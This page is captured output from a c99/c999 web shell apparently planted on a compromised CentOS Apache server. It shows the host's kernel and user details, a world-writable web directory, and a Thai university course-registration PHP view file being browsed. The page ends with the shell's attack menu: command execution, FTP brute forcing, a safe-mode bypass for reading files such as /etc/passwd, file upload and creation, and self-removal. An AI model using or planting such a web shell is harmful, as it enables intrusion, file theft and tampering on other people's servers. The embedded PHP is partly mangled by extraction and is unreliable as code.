!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_copyCourseOpen.php (4.88 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%">
    <tr>
        <td>
            <div align="center">
            <?php echo form_open($this->config->item("rg_folder")."preregis/pr_processAddCo", array("name" => "myform""id" => "myform"));?>
            <table width="100%" align="center" cellpadding="1" cellspacing="1" border="0">
                <tr>
                    <td colspan="3" align="center"><font size="3" color="<?php echo $font_color_err;?>" class="h"><b>บันทึกรายวิชาที่เปิดสอน</b></font></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><table class="szone">
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><font size="2">หลักสูตร</font></td>
                            <td width="80%"><font size="2"><?php echo $this->cur->curName;?></font>
                            <input type="hidden" name="curId" id="curId" value="<?php echo $this->cur->curId;?>" /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><font size="2">ชั้นปีที่</font></td>
                            <td><font size="2"><?php echo $this->sy->syId;?></font>
                            <input type="hidden" name="syId" id="syId" value="<?php echo $this->sy->syId;?>" /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><font size="2">ปีการศึกษา</font></td>
                            <td><font size="2"><?php echo $acY;?></font>
                            <input type="hidden" name="acY" id="acY" value="<?php echo $acY;?>" /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><font size="2">ภาคการศึกษา</font></td>
                            <td><font size="2"><?php echo $this->tm->tmCode;?></font>
                            <input type="hidden" name="tmId" id="tmId" value="<?php echo $this->tm->tmId;?>" /></td>
                        </tr>
                    </table></td>
                </tr>
<?php
                
if($flagExit) {
?>
                <tr>
                    <td height="22" colspan="3" align="center"><br /><font size="3" color="<?php echo $font_color_err;?>" class="h"><b>** ไม่สามารถคัดลอกรายวิชาที่เปิดสอน จากโปรแกรมการศึกษาได้<br />
                    เนื่องจากมีการกำหนดรายวิชาที่เปิดสอนไปแล้ว **<br />
                    ถ้าต้องการกำหนดรายวิชาที่เปิดสอนเพิ่มเติม <a href='<?php echo site_url($this->config->item('rg_folder').'preregis/co_search')?>' />คลิกที่นี่</a></b></font></td>
                </tr>
<?php
                
} else {
?>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td colspan="3"><table class="headCol">
                        <tr>
                            <th><font size="2" color="<?php echo $font_color_table;?>">รหัสรายวิชา</font></th>
                            <th><font size="2" color="<?php echo $font_color_table;?>">ชื่อรายวิชา</font></th>
                            <th><font size="2" color="<?php echo $font_color_table;?>">หน่วยกิต</font></th>
                        </tr>
<?php
                $i 
0;
                if(isset(
$arr) && count($arr)) {
                    foreach(
$arr as $key => $val) {
                        echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";

?>
                            <td align="center"><font size="2"><?php echo $arr[$key]['crs']->crsCode;?></font></td>
                            <td class="indent"><font size="2"><?php echo explodeSquare($arr[$key]['crs']->crsName);?></font></td>
                            <td align="center"><font size="2"><?php echo $arr[$key]['crs']->crsUnit;?></font></td>
                        </tr>
<?php
                    $i
++;
                    }
                } else {
?>
                        <tr>
                            <td height="22" colspan="3" align="center"><font size="2" color="<?php echo $font_color_err;?>">** ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
                        </tr>
<?php
                
}
?>
                        <tr>
                            <th colspan="2"><font size="2" color="<?php echo $font_color_table;?>">รวมหน่วยกิต</font></th>
                            <th align="center"><font size="2"><?php echo $sumCreditTotal;?></font></th>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td height="22" colspan="3" align="right"><font size="2">รวม <?php echo $i;?> รายการ</font></td>
                </tr>
                <tr>
                    <td colspan="3" align="center"><br><input name="add" type="submit" value="บันทึก" onClick="return confirmSubmit('กรุณาตรวจสอบข้อมูลให้เรียบร้อยก่อนเพิ่มรายการ !! ')" <?php if($i==0) echo 'disabled';?>>
                    <input type="button" name="cancel" id="cancel" value="ยกเลิก" onClick="window.location ='<?php echo site_url("eregis/preregis/pr_beforeCopyCo")?>'" />
                    <input type="hidden" name="method" id="method" value="add" /></td>
                </tr>
<?php
                
}
?>
            </table><?php echo form_close();?></div>
        <br /></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0066 ]--